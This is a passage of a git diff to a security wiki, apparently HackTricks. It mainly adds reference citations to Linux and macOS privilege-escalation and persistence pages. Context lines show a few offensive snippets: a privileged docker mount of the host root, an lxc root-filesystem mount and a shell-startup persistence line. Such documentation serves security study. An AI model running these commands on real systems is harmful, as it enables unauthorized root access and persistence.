RCE](https://blog.hrncirik.net/cve-2023-46214-analysis) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/user-information/euid-ruid-suid.md b/src/linux-hardening/user-information/euid-ruid-suid.md index 0bcb25a5fb3..e9a904d0a46 100644 --- a/src/linux-hardening/user-information/euid-ruid-suid.md +++ b/src/linux-hardening/user-information/euid-ruid-suid.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ### User Identification Variables - **`ruid`**: The **real user ID** denotes the user who initiated the process. @@ -15,8 +14,8 @@ A process not operating under root can only modify its `euid` to match the curre ### Understanding set\*uid Functions -- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html). -- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html). +- **`setuid`**: Contrary to initial assumptions, `setuid` primarily modifies `euid` rather than `ruid`. Specifically, for privileged processes, it aligns `ruid`, `euid`, and `suid` with the specified user, often root, effectively solidifying these IDs due to the overriding `suid`. Detailed insights can be found in the [setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html).[[2]](#references) +- **`setreuid`** and **`setresuid`**: These functions allow for the nuanced adjustment of `ruid`, `euid`, and `suid`. However, their capabilities are contingent on the process's privilege level. For non-root processes, modifications are restricted to the current values of `ruid`, `euid`, and `suid`. In contrast, root processes or those with `CAP_SETUID` capability can assign arbitrary values to these IDs. More information can be gleaned from the [setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) and the [setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html).[[3]](#references)[[4]](#references) These functionalities are designed not as a security mechanism but to facilitate the intended operational flow, such as when a program adopts another user's identity by altering its effective user ID. @@ -32,7 +31,7 @@ Notably, while `setuid` might be a common go-to for privilege elevation to root - `ruid`, `euid`, and supplementary group IDs remain unaltered. - `euid` might have nuanced changes if the new program has the SetUID bit set. - `suid` gets updated from `euid` post-execution. -- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html). +- **Documentation**: Detailed information can be found on the [`execve` man page](https://man7.org/linux/man-pages/man2/execve.2.html).[[5]](#references) #### **`system` Function** @@ -209,7 +208,9 @@ uid=99(nobody) gid=99(nobody) euid=100 ## References - [1] [SetUID Rabbit Hole - 0xdf](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail) +- [2] [man7.org - setuid man page](https://man7.org/linux/man-pages/man2/setuid.2.html) +- [3] [man7.org - setresuid man page](https://man7.org/linux/man-pages/man2/setresuid.2.html) +- [4] [man7.org - setreuid man page](https://man7.org/linux/man-pages/man2/setreuid.2.html) +- [5] [man7.org - execve man page](https://man7.org/linux/man-pages/man2/execve.2.html) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md b/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md index 2d7272b8e3e..3c6dd0802f7 100644 --- a/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md @@ -241,26 +241,22 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: - {{#ref}} ../../containers-namespaces/container-security/ {{#endref}} If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../../1-linux-basics/linux-privilege-escalation/index.html#writable-docker-socket)**.** - {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation {{#endref}} - {{#ref}} https://fosterelli.co/privilege-escalation-via-docker.html {{#endref}} ## lxc/lxd Group - {{#ref}} ./ {{#endref}} diff --git a/src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md index a38417ae318..a0c24c16279 100644 --- a/src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/user-information/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -91,6 +91,3 @@ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursiv ``` {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/linux-hardening/user-information/linux-active-directory.md b/src/linux-hardening/user-information/linux-active-directory.md index 0d8990534e6..07a1f2464a2 100644 --- a/src/linux-hardening/user-information/linux-active-directory.md +++ b/src/linux-hardening/user-information/linux-active-directory.md @@ -229,5 +229,3 @@ This gives you a reusable Kerberos identity for the SPNs bound to that gMSA **wi - [2] [Accessing AD with a managed service account – Integrating RHEL systems directly with Active Directory](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/integrating_rhel_systems_directly_with_windows_active_directory/assembly_accessing-ad-with-a-managed-service-account_integrating-rhel-systems-directly-with-active-directory) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/linux-hardening/user-information/ssh-forward-agent-exploitation.md b/src/linux-hardening/user-information/ssh-forward-agent-exploitation.md index 3d973d5937c..e9c992e9900 100644 --- a/src/linux-hardening/user-information/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/user-information/ssh-forward-agent-exploitation.md @@ -42,6 +42,3 @@ Another option, is that the user owner of the agent and root may be able to acce - [1] [SSH Agent Hijacking](https://www.clockwork.com/insights/ssh-agent-hijacking/) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index f6dbf40122f..544610c0d80 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -130,8 +130,8 @@ One of the first things `launchd` would do is to **start** all the **daemons** l ### shell startup files -Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)\ -Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit.github.io/beyond/beyond_0001/)[[2]](#references)\ +Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)[[3]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC Bypass: [✅](https://emojipedia.org/check-mark-button) @@ -173,7 +173,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc > [!CAUTION] > Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed) -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0021/](https://theevilbit.github.io/beyond/beyond_0021/)[[4]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [🔴](https://emojipedia.org/large-red-circle) @@ -213,7 +213,7 @@ To **add an application to this list** you can use: ### Terminal Preferences -Writeup: [https://theevilbit.github.io/beyond/beyond_0020/](https://theevilbit.github.io/beyond/beyond_0020/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0020/](https://theevilbit.github.io/beyond/beyond_0020/)[[5]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [✅](https://emojipedia.org/check-mark-button) @@ -315,8 +315,8 @@ You could also use the extensions **`.command`**, **`.tool`**, with regular shel ### Audio Plugins -Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ -Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) +Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)[[6]](#references)\ +Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)[[7]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) @@ -342,7 +342,7 @@ According to the previous writeups it's possible to **compile some audio plugins ### QuickLook Plugins -Writeup: [https://theevilbit.github.io/beyond/beyond_0012/](https://theevilbit.github.io/beyond/beyond_0012/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0012/](https://theevilbit.github.io/beyond/beyond_0012/)[[8]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) @@ -367,7 +367,7 @@ It's possible to compile your own QuickLook plugin, place it in one of the previ > [!CAUTION] > This didn't work for me, neither with the user LoginHook nor with the root LogoutHook -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/)[[9]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [🔴](https://emojipedia.org/large-red-circle) @@ -419,7 +419,7 @@ The root user one is stored in **`/private/var/root/Library/Preferences/com.appl ### Cron -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/)[[10]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - However, you need to be able to execute `crontab` binary @@ -460,7 +460,7 @@ crontab /tmp/cron ### iTerm2 -Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/)[[11]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC bypass: [✅](https://emojipedia.org/check-mark-button) @@ -549,7 +549,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 ### xbar -Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/)[[12]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But xbar must be installed @@ -575,7 +575,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ### Hammerspoon -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/)[[13]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But Hammerspoon must be installed @@ -628,7 +628,7 @@ It allows to create workflows that can execute code when certain conditions are ### SSHRC -Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/)[[14]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But ssh needs to be enabled and used @@ -656,7 +656,7 @@ By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **lo ### **Login Items** -Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/)[[15]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But you need to execute `osascript` with args @@ -701,7 +701,7 @@ Another options would be to create the files **`.bash_profile`** and **`.zshenv` ### At -Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/)[[16]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But you need to **execute** **`at`** and it must be **enabled** @@ -792,8 +792,8 @@ If we print the job file, we find that it contains the same information we got u ### Folder Actions -Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ -Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)[[17]](#references)\ +Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)[[18]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions @@ -903,7 +903,7 @@ Now that we have an empty environment ### Dock shortcuts -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/)[[19]](#references) - Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - But you need to have installed a malicious application inside the system @@ -985,7 +985,7 @@ killall Dock ### Color Pickers -Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/)[[20]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - A very specific action needs to happen @@ -1019,8 +1019,8 @@ Note that the binary loading your library has a **very restrictive sandbox**: `/ ### Finder Sync Plugins -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ -**Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)[[21]](#references)\ +**Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html)[[22]](#references) - Useful to bypass sandbox: **No, because you need to execute your own app** - TCC bypass: ??? @@ -1042,8 +1042,8 @@ pluginkit -e use -i com.example.InSync.InSync ### Screen Saver -Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ -Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) +Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)[[23]](#references)\ +Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)[[24]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you will end in a common application sandbox @@ -1150,7 +1150,7 @@ void custom(int argc, const char **argv) { ### Spotlight Plugins -writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) +writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/)[[25]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you will end in an application sandbox @@ -1244,7 +1244,7 @@ Finally **build and copy your new `.mdimporter`** to one of thre previous locati > [!CAUTION] > It doesn't look like this is working anymore. -Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/)[[26]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - It needs a specific user action @@ -1267,7 +1267,7 @@ It doesn't look like this is working anymore.[[26]](#references) ### Periodic -Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/)[[27]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root @@ -1334,7 +1334,7 @@ If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/software-information/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/)[[28]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root @@ -1393,8 +1393,8 @@ session required pam_launchd.so ### Authorization Plugins -Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ -Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) +Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)[[29]](#references)\ +Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)[[30]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root and make extra configs @@ -1464,7 +1464,7 @@ And then the **staff group should have sudo** access (read `/etc/sudoers` to con ### Man.conf -Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/)[[31]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root and the user must use man @@ -1498,7 +1498,7 @@ touch /tmp/manconf ### Apache2 -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0025/](https://theevilbit.github.io/beyond/beyond_0025/) +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0025/](https://theevilbit.github.io/beyond/beyond_0025/)[[32]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root and apache needs to be running @@ -1543,7 +1543,7 @@ static void myconstructor(int argc, const char **argv) ### BSM audit framework -Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/)[[33]](#references) - Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - But you need to be root, auditd be running and cause a warning @@ -1627,7 +1627,7 @@ RunService "$1" > [!CAUTION] > I cannot find this component in my macOS so for more info check the writeup -Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/)[[34]](#references) Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins.[[34]](#references) @@ -1639,7 +1639,7 @@ ls -l /private/var/db/emondClients ### ~~XQuartz~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)[[3]](#references) #### Location @@ -1679,7 +1679,7 @@ For more information about [**kernel extensions check this section**](macos-secu ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/)[[35]](#references) #### Location @@ -1694,7 +1694,7 @@ I can no longer find this in my macOS. ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/)[[36]](#references) #### Location @@ -1850,5 +1850,3 @@ RunService () - [36] [Beyond the good ol' LaunchAgents - 15 - xsanctl](https://theevilbit.github.io/beyond/beyond_0015/) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 18f22591d6d..8b01aa7f929 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -181,7 +181,7 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" dsconfigad -show ``` -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) +More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)[[3]](#references)[[6]](#references) ### Computer$ password @@ -241,7 +241,7 @@ MacOS Red Teaming is different from a regular Windows Red Teaming as usually **M ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:[[1]](#references)
@@ -252,8 +252,7 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [3] [its-a-feature - Domain Enumeration Commands (dscl / net / ldapsearch equivalents)](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) - [4] [Come to the Dark Side, We Have Apples: Turning macOS Management Evil](https://www.youtube.com/watch?v=pOQOh07eMxY) - [5] [OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall](https://www.youtube.com/watch?v=ju1IYWUv4ZA) +- [6] [Active Directory Discovery with a Mac - its-a-feature](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index ca20dbc7893..9eca24c12d9 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -132,6 +132,3 @@ And these are the **requirements** to be able to **export a secret without a pro - [1] [#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas](https://www.youtube.com/watch?v=jKE1ZW33JpY) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 7d5638c60ce..61de142a7c3 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -4,8 +4,8 @@ **To learn about macOS MDMs check:** -- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) -- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) +- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)[[1]](#references) +- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)[[2]](#references) ## Basics @@ -208,5 +208,3 @@ enrolling-devices-in-other-organisations.md - [2] [Duo Labs — "MDM Me Maybe?" (DEP/MDM enrollment security research)](https://duo.com/labs/research/mdm-me-maybe) {{#include ../../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 9256109563c..ab19018abaf 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -29,7 +29,7 @@ Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using too ## Instrumenting System Binaries Interacting with DEP -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.[[1]](#references) **Exploiting Binary Instrumentation:** Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: @@ -55,6 +55,3 @@ The research highlighted significant security concerns: - [1] [Duo Labs — MDM Me Maybe: Device Enrollment Program Security](https://duo.com/labs/research/mdm-me-maybe) {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 8819650a370..4b373d77454 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -38,6 +38,3 @@ This character varies from 'C' (representing the first half of 2010) to 'Z' (sec Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 89cbd96ce32..0a010e5d569 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -103,7 +103,7 @@ In macOS **applications and binaries can have permissions** to access folders or Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.[[5]](#references) Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). @@ -129,5 +129,3 @@ macos-privilege-escalation.md - [5] [2022 - macOS local security: escaping the sandbox and bypassing TCC (YouTube)](https://www.youtube.com/watch?v=vMGiplQtjTY) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 6c9ad5d2943..e37ec7f27e2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -29,7 +29,7 @@ The XNU **kernel** also **incorporates** a significant amount of code derived fr Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.[[1]](#references) ### I/O Kit - Drivers diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md 